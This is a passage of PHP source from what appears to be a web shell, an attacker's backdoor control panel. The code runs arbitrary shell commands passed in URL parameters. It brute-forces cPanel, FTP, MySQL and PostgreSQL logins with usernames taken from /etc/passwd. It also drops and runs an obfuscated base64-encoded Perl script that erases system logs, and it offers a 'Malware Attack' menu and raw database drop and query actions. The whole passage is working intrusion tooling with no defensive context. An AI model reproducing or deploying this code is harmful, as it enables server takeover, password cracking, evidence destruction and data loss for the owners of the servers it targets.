@posix_getpwuid(\$val1);\r\n\t\t\t\t\t\t\tif (\$uid)\r\n\t\t\t\t\t\t\t\t \$temp .= join(':',\$uid).\"\\n\";\r\n\t\t\t\t\t\t }\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t \$temp = trim(\$temp);\r\n\t\t\t\t\t\t\t \r\n\t\t\t\t\t\t if(\$file5 = fopen(\"test.txt\",\"w\"))\r\n\t\t\t\t\t\t {\r\n\t\t\t\t\t\t\tfputs(\$file5,\$temp);\r\n\t\t\t\t\t\t\t fclose(\$file5);\r\n\t\t\t\t\t\t\t \r\n\t\t\t\t\t\t\t \$file = fopen(\"test.txt\", \"r\");\r\n\t\t\t\t\t\t\t while(!feof(\$file))\r\n\t\t\t\t\t\t\t {\r\n\t\t\t\t\t\t\t \t\$s = fgets(\$file);\r\n\t\t\t\t\t\t\t\t\$matches = array();\r\n\t\t\t\t\t\t\t\t\$t = preg_match('/\\/(.*?)\\:\\//s', \$s, \$matches);\r\n\t\t\t\t\t\t\t\t\$matches = str_replace(\"home/\",\"\",\$matches[1]);\r\n\t\t\t\t\t\t\t\tif(strlen(\$matches) > 12 || strlen(\$matches) == 0 || \$matches == \"bin\" || \$matches == \"etc/X11/fs\" || \$matches == \"var/lib/nfs\" || \$matches == \"var/arpwatch\" || \$matches == \"var/gopher\" || \$matches == \"sbin\" || \$matches == \"var/adm\" || \$matches == \"usr/games\" || \$matches == \"var/ftp\" || \$matches == \"etc/ntp\" || \$matches == \"var/www\" || \$matches == \"var/named\")\r\n\t\t\t\t\t\t\t\t\tcontinue;\r\n\t\t\t\t\t\t\t\techo \$matches;\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\tfclose(\$file);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\r\n\t\t\t\t ?></textarea></td><td align=center><textarea name=password rows=25 cols=22 class=box></textarea></td>\r\n\t\t\t</tr>\r\n\t\t\t<tr>\r\n\t\t\t\t<td align=center colspan=2>Guess options : <label><input name=\"cracktype\" type=\"radio\" value=\"cpanel\" checked> Cpanel(2082)</label><label><input name=\"cracktype\" type=\"radio\" value=\"ftp\"> Ftp(21)</label><label><input name=\"cracktype\" type=\"radio\" value=\"telnet\"> Telnet(23)</label></td>\r\n\t\t\t</tr>\r\n\t\t\t<tr>\r\n\t\t\t\t<td align=center colspan=2>Timeout delay : <input type=\"text\" name=\"delay\" value=5 class=sbox></td>\r\n\t\t\t</tr>\r\n\t\t\t<tr>\r\n\t\t\t\t<td align=center colspan=2><input type=\"submit\" name=\"cpanelattack\" value=\"   Go    \" class=but></td>\r\n\t\t\t</tr>\r\n\t\t</table>\r\n\t\t</form>\r\n\t\t</center>\r\n\t\t<?php\r\n}\r\nelse if(isset(\$_REQUEST['malattack']))\r\n{\r\n\t?><input type=\"hidden\" id=\"malpath\" value=\"<?php echo \$_GET[\"dir\"]; ?>\">\r\n\t<center><table><tr><td><a href=# onClick=\"getdata('malware')\"><font class=txt size=\"4\">| Malware Attack |</font></a></td>\r\n\t<td><a href=# onClick=\"getdata('codeinsert')\"><font class=txt size=\"4\">| Insert Own Code |</font></a></td></tr></table></center><br>\r\n\t<div id=\"showdata\"></div>\r\n\t<?php\r\n}\r\nelse if(isset(\$_GET[\"com\"]))\r\n{\r\n\techo \"<br>\";\r\n\tob_start();\r\n\teval(\"phpinfo();\");\r\n\t\$b = ob_get_contents();\r\n\tob_end_clean();\r\n\t\$a = strpos(\$b,\"<body>\")+6; // yeah baby,, your body is wonderland ;-)\r\n\t\$z = strpos(\$b,\"</body>\");\r\n\t\$s_result = \"<div class='myphp'>\".substr(\$b,\$a,\$z-\$a).\"</div>\";\r\n\techo \$s_result;\r\n}\r\nelse if(isset(\$_GET['execute']))\r\n{\r\n\t\$comm = \$_GET['execute'];\r\n\tchdir(\$_GET['executepath']);\r\n\t\$check = shell_exec(\$comm);\r\n\t\r\n\techo \"<center><textarea id=showexecute cols=120 rows=20 class=box>\" . \$check . \"</textarea></center>\";\r\n\t\t\r\n\t?>\r\n\t<BR><BR><center><form onSubmit=\"executemyfn('<?php echo addslashes(\$_GET['executepath']); ?>',execute.value);return false;\">\r\n\t<input type=\"text\" class=\"box\" name=\"execute\">\r\n\t<input type=\"button\" onClick=\"executemyfn('<?php echo addslashes(\$_GET['executepath']); ?>',execute.value)\" value=\"Execute\" class=\"but\"></form></center>\r\n\t<?php\r\n}\r\nelse if(isset(\$_GET['mycmd']))\r\n{\r\n\tif(\$_GET['mycmd']==\"logeraser\")\r\n\t{\r\n\t\t\$erase = gzinflate(base64_decode(\"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\"));\r\n\t\tif(is_writable(\".\"))\r\n\t\t{\t\r\n\t\t\tif(\$openp = fopen(getcwd().\"/logseraser.pl\", 'w'))\r\n\t\t\t{\r\n\t\t\t\tfwrite(\$openp, \$erase);\r\n\t\t\t\tfclose(\$openp);\r\n\t\t\t\tpassthru(\"perl logseraser.pl linux\");\r\n\t\t\t\tunlink(\"logseraser.pl\");\r\n\t\t\t\techo \"<center><font color=#FFFFFF size=3>Logs Cleared</font></center>\";\r\n\t\t\t}\r\n\t\t} else \r\n\t\t{\r\n\t\t\tif(\$openp = fopen(\"/tmp/logseraser.pl\", 'w'))\r\n\t\t\t{\r\n\t\t\t\tfwrite(\$openp, \$erase)or die(\"Error\");\r\n\t\t\t\tfclose(\$openp);\r\n\t\t\t\t\$aidx = passthru(\"perl logseraser.pl linux\");\r\n\t\t\t\tunlink(\"logseraser.pl\");\r\n\t\t\t\techo \"<center><font color=#FFFFFF size=3>Logs Cleared</font></center>\";\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\telse\r\n\t{\r\n\t\t\$check = shell_exec(\$_GET['mycmd']);\r\n\t\techo \"<center><textarea cols=120 rows=20 class=box>\" . \$check . \"</textarea></center>\";\r\n\t}\r\n}\r\nelse if(isset(\$_GET['prototype'])) \r\n{\r\n\techo '<h1>Results</h1><div><span>Type:</span> '.htmlspecialchars(\$_GET['prototype']).' <span><br>Server:</span> '.htmlspecialchars(\$_GET['serverport']).'<br>';\r\n\tif( \$_GET['prototype'] == 'ftp' ) \r\n\t{\r\n\t\tfunction BruteFun(\$ip,\$port,\$login,\$pass) \r\n\t\t{\r\n\t\t\t\$fp = @ftp_connect(\$ip, \$port?\$port:21);\r\n\t\t\tif(!\$fp) return false;\r\n\t\t\t\$res = @ftp_login(\$fp, \$login, \$pass);\r\n\t\t\t@ftp_close(\$fp);\r\n\t\t\treturn \$res;\r\n\t\t}\r\n\t}\r\n\telseif( \$_GET['prototype'] == 'mysql' )\r\n\t{\r\n\t\tfunction BruteFun(\$ip,\$port,\$login,\$pass) \r\n\t\t{\r\n\t\t\t\$res = @mysql_connect(\$ip.':'.\$port?\$port:3306, \$login, \$pass);\r\n\t\t\t@mysql_close(\$res);\r\n\t\t\treturn \$res;\r\n\t\t}\r\n\t}\r\n\telseif( \$_GET['prototype'] == 'pgsql' )\r\n\t{\r\n\t\tfunction BruteFun(\$ip,\$port,\$login,\$pass)\r\n\t\t{\r\n\t\t\t\$str = \"host='\".\$ip.\"' port='\".\$port.\"' user='\".\$login.\"' password='\".\$pass.\"' dbname=postgres\";\r\n\t\t\t\$res = @pg_connect(\$str);\r\n\t\t\t@pg_close(\$res);\r\n\t\t\treturn \$res;\r\n\t\t}\r\n\t}\r\n\t\r\n\t\$success = 0;\r\n\t\$attempts = 0;\r\n\t\$server = explode(\":\", \$_GET['server']);\r\n\tif(\$_GET['type'] == 1) \r\n\t{\r\n\t\t\$temp = @file('/etc/passwd');\r\n\t\tif( is_array(\$temp))\r\n\t\t\tforeach(\$temp as \$line) \r\n\t\t\t{\r\n\t\t\t\t\$line = explode(\":\", \$line);\r\n\t\t\t\t++\$attempts;\r\n\t\t\t\tif(BruteFun(@\$server[0],@\$server[1], \$line[0], \$line[0]) ) \r\n\t\t\t\t{\r\n\t\t\t\t\t\$success++;\r\n\t\t\t\t\techo '<b>'.htmlspecialchars(\$line[0]).'</b>:'.htmlspecialchars(\$line[0]).'<br>';\r\n\t\t\t\t}\r\n\t\t\t\tif(@\$_GET['reverse']) \r\n\t\t\t\t{\r\n\t\t\t\t\t\$tmp = \"\";\r\n\t\t\t\t\tfor(\$i=strlen(\$line[0])-1; \$i>=0; --\$i)\r\n\t\t\t\t\t\t\$tmp .= \$line[0][\$i];\r\n\t\t\t\t\t++\$attempts;\r\n\t\t\t\t\tif(BruteFun(@\$server[0],@\$server[1], \$line[0], \$tmp) ) \r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t\$success++;\r\n\t\t\t\t\t\techo '<b>'.htmlspecialchars(\$line[0]).'</b>:'.htmlspecialchars(\$tmp);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t}\r\n\telseif(\$_GET['type'] == 2) \r\n\t{\r\n\t\t\$temp = @file(\$_GET['dict']);\r\n\t\tif( is_array(\$temp) )\r\n\t\t\tforeach(\$temp as \$line) \r\n\t\t\t{\r\n\t\t\t\t\$line = trim(\$line);\r\n\t\t\t\t++\$attempts;\r\n\t\t\t\tif(BruteFun(\$server[0],@\$server[1], \$_GET['login'], \$line) ) \r\n\t\t\t\t{\r\n\t\t\t\t\t\$success++;\r\n\t\t\t\t\techo '<b>'.htmlspecialchars(\$_GET['login']).'</b>:'.htmlspecialchars(\$line).'<br>';\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t}\r\n\techo \"<span>Attempts:</span> <font class=txt>\$attempts</font> <span>Success:</span> <font class=txt>\$success</font></div>\";\r\n}\r\n// Execute Query\r\nelse if(isset(\$_GET[\"executeit\"]))\r\n{\r\n\tif(isset(\$_GET['username'])  && isset(\$_GET['server']))\r\n\t{ \r\n\t\t\$dbserver = \$_GET['server'];\r\n\t\t\$dbuser = \$_GET['username'];\r\n\t\t\$dbpass = \$_GET['password'];\r\n\t\tif(mysql_connect(\$dbserver,\$dbuser,\$dbpass))\r\n\t\t{\r\n\t\t\tsetcookie(\"dbserver\", \$dbserver);\t\t\t\r\n\t\t\tsetcookie(\"dbuser\", \$dbuser);\r\n\t\t\tsetcookie(\"dbpass\", \$dbpass);\r\n\t\t\t\r\n\t\t\tlistdatabase();\r\n\t\t}\r\n\t\telse\t\t\t\t\t\r\n\t\t\techo \"cannotconnect\";\r\n\t}\r\n}\r\nelse if(isset(\$_GET['action']) && isset(\$_GET['dbname']))\r\n\r\n\r\n\t{\r\n\t\tif(\$_GET['action'] == \"createDB\")\r\n\t\t{\r\n\t\t\t\$dbname = \$_GET['dbname'];\r\n\t\t\t\$dbserver = \$_COOKIE[\"dbserver\"];\r\n\t\t\t\$dbuser = \$_COOKIE[\"dbuser\"];\r\n\t\t\t\$dbpass = \$_COOKIE[\"dbpass\"];\r\n\t\t\t\$mysqlHandle = mysql_connect(\$dbserver, \$dbuser, \$dbpass);\r\n\t\t\tmysql_query(\"create database \$dbname\",\$mysqlHandle);\r\n\t\t\tlistdatabase();\r\n\t\t}\r\n\t\tif(\$_GET['action'] == 'dropDB')\r\n\t\t{\r\n\t\t\t\$dbname = \$_GET['dbname'];\r\n\t\t\t\$dbserver = \$_COOKIE[\"dbserver\"];\r\n\t\t\t\$dbuser = \$_COOKIE[\"dbuser\"];\r\n\t\t\t\$dbpass = \$_COOKIE[\"dbpass\"];\r\n\t\t\t\$mysqlHandle = mysql_connect(\$dbserver, \$dbuser, \$dbpass);\r\n\t\t\tmysql_query(\"drop database \$dbname\",\$mysqlHandle);\r\n\t\t\tmysql_close(\$mysqlHandle);\r\n\t\t\tlistdatabase();\r\n\t\t}\r\n\r\n\t\tif(\$_GET['action'] == 'listTables')\r\n\t\t{\r\n\t\t\tlisttable();\r\n\t\t}\r\n\t\t\r\n\t\t// Create Tables\r\n\t\tif(\$_GET['action'] == \"createtable\")\r\n\t\t{\r\n\t\t\t\$dbserver = \$_COOKIE[\"dbserver\"];\r\n\t\t\t\$dbuser = \$_COOKIE[\"dbuser\"];\r\n\t\t\t\$dbpass = \$_COOKIE[\"dbpass\"];\r\n\t\t\t\$dbname = \$_GET['dbname'];\r\n\t\t\t\$tablename = \$_GET['tablename'];\r\n\t\t\t\$mysqlHandle = mysql_connect (\$dbserver, \$dbuser, \$dbpass);\r\n\t\t\tmysql_select_db(\$dbname);\r\n\t\t\tmysql_query(\"CREATE TABLE \$tablename ( no INT )\");\r\n\t\t\tlisttable();\r\n\t\t}\r\n\t\t\r\n\t\t// Drop Tables\r\n\t\tif(\$_GET['action'] == \"dropTable\")\r\n\t\t{\r\n\t\t\t\$dbserver = \$_COOKIE[\"dbserver\"];\r\n\t\t\t\$dbuser = \$_COOKIE[\"dbuser\"];\r\n\t\t\t\$dbpass = \$_COOKIE[\"dbpass\"];\r\n\t\t\t\$dbname = \$_GET['dbname'];\r\n\t\t\t\$tablename = \$_GET['tablename'];\r\n\t\t\t\$mysqlHandle = mysql_connect (\$dbserver, \$dbuser, \$dbpass);\r\n\t\t\tmysql_select_db(\$dbname);\r\n\t\t\tmysql_query(\"drop table \$tablename\");\r\n\t\t\tlisttable();\r\n\t\t}\r\n\t\t\r\n\t\t// Empty Tables\r\n\t\tif(\$_GET['action'] == \"empty\")\r\n\t\t{\r\n\t\t\t\$dbserver = \$_COOKIE[\"dbserver\"];\r\n\t\t\t\$dbuser = \$_COOKIE[\"dbuser\"];\r\n\t\t\t\$dbpass = \$_COOKIE[\"dbpass\"];\r\n\t\t\t\$dbname = \$_GET['dbname'];\r\n\t\t\t\$tablename = \$_GET['tablename'];\r\n\t\t\t\$mysqlHandle = mysql_connect (\$dbserver, \$dbuser, \$dbpass);\r\n\t\t\tmysql_select_db(\$dbname);\r\n\t\t\tmysql_query(\"delete from \$tablename\");\r\n\t\t\tlisttable();\r\n\t\t}\r\n\t\t\r\n\t\t// Empty Tables\r\n\t\tif(\$_GET['action'] == \"dropField\")\r\n\t\t{\r\n\t\t\t\$dbserver = \$_COOKIE[\"dbserver\"];\r\n\t\t\t\$dbuser = \$_COOKIE[\"dbuser\"];\r\n\t\t\t\$dbpass = \$_COOKIE[\"dbpass\"];\r\n\t\t\t\$dbname = \$_GET['dbname'];\r\n\t\t\t\$tablename = \$_GET['tablename'];\r\n\t\t\t\$fieldname = \$_GET['fieldname'];\r\n\t\t\t\$mysqlHandle = mysql_connect (\$dbserver, \$dbuser, \$dbpass);\r\n\t\t\tmysql_select_db(\$dbname);\r\n\t\t\t\$queryStr = \"ALTER TABLE \$tablename DROP COLUMN \$fieldname\";\r\n\t\t\tmysql_select_db( \$dbname, \$mysqlHandle );\r\n\t\t\tmysql_query( \$queryStr , \$mysqlHandle );\r\n\t\t\tlisttable();\r\n\t\t}\r\n\t\t\r\n\t\tif(\$_GET['action'] == 'viewdb')\r\n\t\t{\r\n\t\t\tlistdatabase();\t\r\n\t\t}\r\n\t\t\r\n\t\t// View Table Schema\r\n\t\tif(\$_GET['action'] == \"viewSchema\")\r\n\t\t{\r\n\t\t\t\$dbserver = \$_COOKIE[\"dbserver\"];\r\n\t\t\t\$dbuser = \$_COOKIE[\"dbuser\"];\r\n\t\t\t\$dbpass = \$_COOKIE[\"dbpass\"];\r\n\t\t\t\$dbname = \$_GET['dbname'];\r\n\t\t\t\$tablename = \$_GET['tablename'];\r\n\t\t\t\$mysqlHandle = mysql_connect (\$dbserver, \$dbuser, \$dbpass);\r\n\t\t\tmysql_select_db(\$dbname);\r\n\t\t\techo \"<br><div><font color=white size=3>[ \$dbname ]</font> - <font color=white size=3>&gt;</font> <a href=# onClick=\\\"viewtables('viewdb')\\\"> <font size=3>Database List</font> </a> <font color=white size=3>&gt;</font> <a href=# onClick=\\\"viewtables('listTables','\$dbname','\$tablename')\\\"> <font size=3>Table List</font> </a> &nbsp; <a href=\$self?logoutdb> <font  size=3>[ Log Out ]</font> </a></div>\";\t\r\n\t\t\t\$pResult = mysql_query( \"SHOW fields FROM \$tablename\" );\r\n\t\t\t\$num = mysql_num_rows( \$pResult );\r\n\t\t\techo \"<br><br><table align=center cellspacing=4 style='width:80%;' border=1>\";\r\n\t\t\techo \"<th>Field</th><th>Type</th><th>Null</th><th>Key</th></th>\";\r\n\t\t\tfor( \$i = 0; \$i < \$num; \$i++ ) \r\n\t\t\t{\r\n\t\t\t\t\$field = mysql_fetch_array( \$pResult );\r\n\t\t\t\techo \"<tr>\\n\";\r\n\t\t\t\techo \"<td>\".\$field[\"Field\"].\"</td>\\n\";\r\n\t\t\t\techo \"<td>\".\$field[\"Type\"].\"</td>\\n\";\r\n\t\t\t\techo \"<td>\".\$field[\"Null\"].\"</td>\\n\";\r\n\t\t\t\techo \"<td>\".\$field[\"Key\"].\"</td>\\n\";\r\n\t\t\t\techo \"<td>\".\$field[\"Default\"].\"</td>\\n\";\r\n\t\t\t\techo \"<td>\".\$field[\"Extra\"].\"</td>\\n\";\r\n\t\t\t\t\$fieldname = \$field[\"Field\"];\r\n\t\t\t\techo \"<td><a href=# onClick=\\\"viewtables('dropField','\$dbname','\$tablename','','','','\$fieldname')\\\">Drop</a></td>\\n\";\r\n\t\t\t\techo \"</tr>\\n\";\r\n\t\t\t}\r\n\t\t\techo \"</table>\";\r\n\t\t\techo \"<div><font color=white size=3>[ \$dbname ]</font> - <font color=white size=3>&gt;</font> <a href=# onClick=\\\"viewtables('viewdb')\\\"> <font size=3>Database List</font> </a> <font color=white size=3>&gt;</font> <a href=# onClick=\\\"viewtables('listTables','\$dbname','\$tablename')\\\"> <font size=3>Table List</font> </a> &nbsp; <a href=\$self?logoutdb> <font  size=3>[ Log Out ]</font> </a></div>\";\r\n\t\t}\r\n\t\t\r\n\t\t// Execute Query\r\n\t\tif(\$_GET['action'] == \"executequery\")\r\n\t\t{\r\n\t\t\t\$dbserver = \$_COOKIE[\"dbserver\"];\r\n\t\t\t\$dbuser = \$_COOKIE[\"dbuser\"];\r\n\t\t\t\$dbpass = \$_COOKIE[\"dbpass\"];\r\n\t\t\t\$dbname = \$_GET['dbname'];\r\n\t\t\t\$tablename = \$_GET['tablename'];\r\n\t\t\t\$mysqlHandle = mysql_connect (\$dbserver, \$dbuser, \$dbpass);\r\n\t\t\tmysql_select_db(\$dbname);\r\n\t\t\t\$result = mysql_query(\$_GET['executemyquery']); \r\n\t\t\t\r\n\t\t\t//  results \r\n\t\t\techo \"<html>\\r\\n\". strtoupper(\$_GET['executemyquery']) . \"<br>\\r\\n<table border =\\\"1\\\">\\r\\n\"; \r\n\t\t\t \r\n\t\t\t\$count = 0; \r\n\t\t\twhile (\$row = mysql_fetch_assoc(\$result)) \r\n\t\t\t{ \r\n\t\t\t   echo \"<tr>\\r\\n\"; \r\n\t\t\t \r\n\t\t\t   if (\$count==0) // list column names \r\n\t\t\t   { \r\n\t\t\t\t  echo \"<tr>\\r\\n\"; \r\n\t\t\t\t  while(\$key = key(\$row)) \r\n\t\t\t\t  { \r\n\t\t\t\t\t echo \"<td><b>\" . \$key . \"</b></td>\\r\\n\"; \r\n\t\t\t\t\t next(\$row); \r\n\t\t\t\t  } \r\n\t\t\t\t  echo \"</tr>\\r\\n\"; \r\n\t\t\t   } \r\n\t\t\t \r\n\t\t\t   foreach(\$row as \$r) // list content of column names \r\n\t\t\t   { \r\n\t\t\t\t  if (\$r=='') \$r = '<font >NULL</font>'; \r\n\t\t\t\t  echo \"<td><font class=txt>\" . \$r . \"</font></td>\\r\\n\"; \r\n\t\t\t   } \r\n\t\t\t   echo \"</tr>\\r\\n\"; \r\n\t\t\t   \$count++; \r\n\t\t\t} \r\n\t\t\techo \"</table>\\n\\r<font class=txt size=3>\" . \$count . \" rows returned.</font>\\r\\n</html>\"; \r\n\t\t\techo \"<div><font color=white size=3>[ \$dbname ]</font> - <font color=white size=3>&gt;</font> <a href=# onClick=\\\"viewtables('viewdb')\\\"> <font size=3>Database List</font> </a> <font color=white size=3>&gt;</font> <a href=# onClick=\\\"viewtables('listTables','\$dbname','\$tablename')\\\"> <font size=3>Table List</font> </a> &nbsp; <a href=\$self?logoutdb> <font  size=3>[ Log Out ]</font> </a></div>\";\r\n\t\t}\r\n\t\t\r\n\t\t// View Table Data\r\n\t\tif(\$_GET['action'] == \"viewdata\")\r\n\t\t{\r\n\t\t\tglobal \$queryStr, \$action, \$mysqlHandle, \$dbname, \$tablename, \$PHP_SELF, \$errMsg, \$page, \$rowperpage, \$orderby, \$data;\r\n\t\t\t\$dbserver = \$_COOKIE[\"dbserver\"];\r\n\t\t\t\$dbuser = \$_COOKIE[\"dbuser\"];\r\n\t\t\t\$dbpass = \$_COOKIE[\"dbpass\"];\r\n\t\t\t\$dbname = \$_GET['dbname'];\r\n\t\t\t\$tablename = \$_GET['tablename'];\r\n\t\t\techo \"<br><div><font color=white size=3>[ \$dbname ]</font> - <font color=white size=3>&gt;</font> <a href=# onClick=\\\"viewtables('viewdb')\\\"> <font size=3>Database List</font> </a> <font color=white size=3>&gt;</font> <a href=# onClick=\\\"viewtables('listTables','\$dbname','\$tablename')\\\"> <font size=3>Table List</font> </a> &nbsp; <a href=\$self?logoutdb> <font  size=3>[ Log Out ]</font> </a></div>\";\t\r\n\t\t\t?>\r\n\t\t\t<br><br>\r\n\t\t\t<form>\r\n\t\t\t<table>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td><textarea cols=\"60\" rows=\"7\" name=\"executemyquery\" class=\"box\">Execute Query..</textarea></td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td><input type=\"button\" onClick=\"viewtables('executequery','<?php echo \$_GET['dbname'];?>','<?php echo \$_GET['tablename']; ?>','','',executemyquery.value)\" value=\"Execute\" class=\"but\"></td>\r\n\t\t\t\t</tr>\r\n\t\t\t</table>\r\n\t\t\t</form>\r\n\t\t\t<?php \r\n\t\t\t\$mysqlHandle = mysql_connect (\$dbserver, \$dbuser, \$dbpass);\r\n\t\t\tmysql_select_db(\$dbname);\r\n\t\t\t\r\n\t\t\t\$sql = mysql_query(\"SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '\$dbname')  AND (`TABLE_NAME` = '\$tablename')  AND (`COLUMN_KEY` = 'PRI');\");\r\n\t\t\t\$row = mysql_fetch_array(\$sql);\r\n\t\t\t\$rowid = \$row['COLUMN_NAME'];\r\n\t\t\t\r\n\t\t\techo \"<br><font size=4 color =lime>Data in Table</font><br>\";\r\n\t\t\tif( \$tablename != \"\" )\r\n\t\t\t\techo \"<font size=3 class=txt>\$dbname &gt; \$tablename</font><br>\";\r\n\t\t\telse\r\n\t\t\t\techo \"<font size=3 class=txt>\$dbname</font><br>\";\r\n\t\t\t\r\n\t\t\t\$queryStr = \"\";\r\n\t\t\t\$pag = 0;\r\n\t\t\t\$queryStr = stripslashes( \$queryStr );\r\n\t\t\tif( \$queryStr == \"\" ) \r\n\t\t\t{\r\n\t\t\t\tif(isset(\$_REQUEST['page']))\r\n\t\t\t\t{\r\n\t\t\t\t\t\$res = mysql_query(\"select * from \$tablename\");\r\n\t\t\t\t\t\$getres = mysql_num_rows(\$res);\r\n\t\t\t\t\t\$coun = ceil(\$getres/30);\r\n\t\t\t\t\tif(\$_REQUEST['page'] != 1)\r\n\r\n\t\t\t\t\t\t\$pag = \$_REQUEST['page'] * 30;\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\t\$pag = \$_REQUEST['page'] * 30;\r\n\t\t\t\t\t\r\n\t\t\t\t\t\$queryStr = \"SELECT * FROM \$tablename LIMIT \$pag,30\";\r\n\t\t\t\t\t\$sql = mysql_query(\"SELECT \$rowid FROM \$tablename ORDER BY \$rowid LIMIT \$pag,30\");\r\n\t\t\t\t\t\$arrcount = 1;\r\n\t\t\t\t\t\$arrdata[\$arrcount] = 0;\r\n\t\t\t\t\twhile(\$row = mysql_fetch_array(\$sql))\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t\$arrdata[\$arrcount] = \$row[\$rowid];\r\n\t\t\t\t\t\t\$arrcount++;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t\t\$queryStr = \"SELECT * FROM \$tablename LIMIT 0,30\";\r\n\t\t\t\t\t\$sql = mysql_query(\"SELECT \$rowid FROM \$tablename ORDER BY \$rowid LIMIT 0,30\");\r\n\t\t\t\t\t\$arrcount = 1;\r\n\t\t\t\t\t\$arrdata[\$arrcount] = 0;\r\n\t\t\t\t\twhile(\$row = mysql_fetch_array(\$sql))\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t\$arrdata[\$arrcount] = \$row[\$rowid];\r\n\t\t\t\t\t\t\$arrcount++;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\tif( \$orderby != \"\" )\r\n\t\t\t\t\t\$queryStr .= \" ORDER BY \$orderby\";\r\n\t\t\t\techo \"<a href=# onClick=\\\"viewtables('viewSchema','\$dbname','\$tablename')\\\"><font size=3>Schema</font></a>\\n\";\r\n\t\t\t}\r\n\t\t\r\n\r\n\t\t\t\$pResult = mysql_query(\$queryStr );\r\n\t\t\t\$fieldt = mysql_fetch_field(\$pResult);\r\n\t\t\t\$tablename = \$fieldt->table;\r\n\t\t\t\$errMsg = mysql_error();\r\n\t\t\r\n\t\t\t\$GLOBALS[queryStr] = \$queryStr;\r\n\t\t\r\n\t\t\tif( \$pResult == false ) \r\n\t\t\t{\r\n\t\t\t\techoQueryResult();\r\n\t\t\t\treturn;\r\n\t\t\t}\r\n\t\t\tif( \$pResult == 1 ) \r\n\t\t\t{\r\n\t\t\t\t\$errMsg = 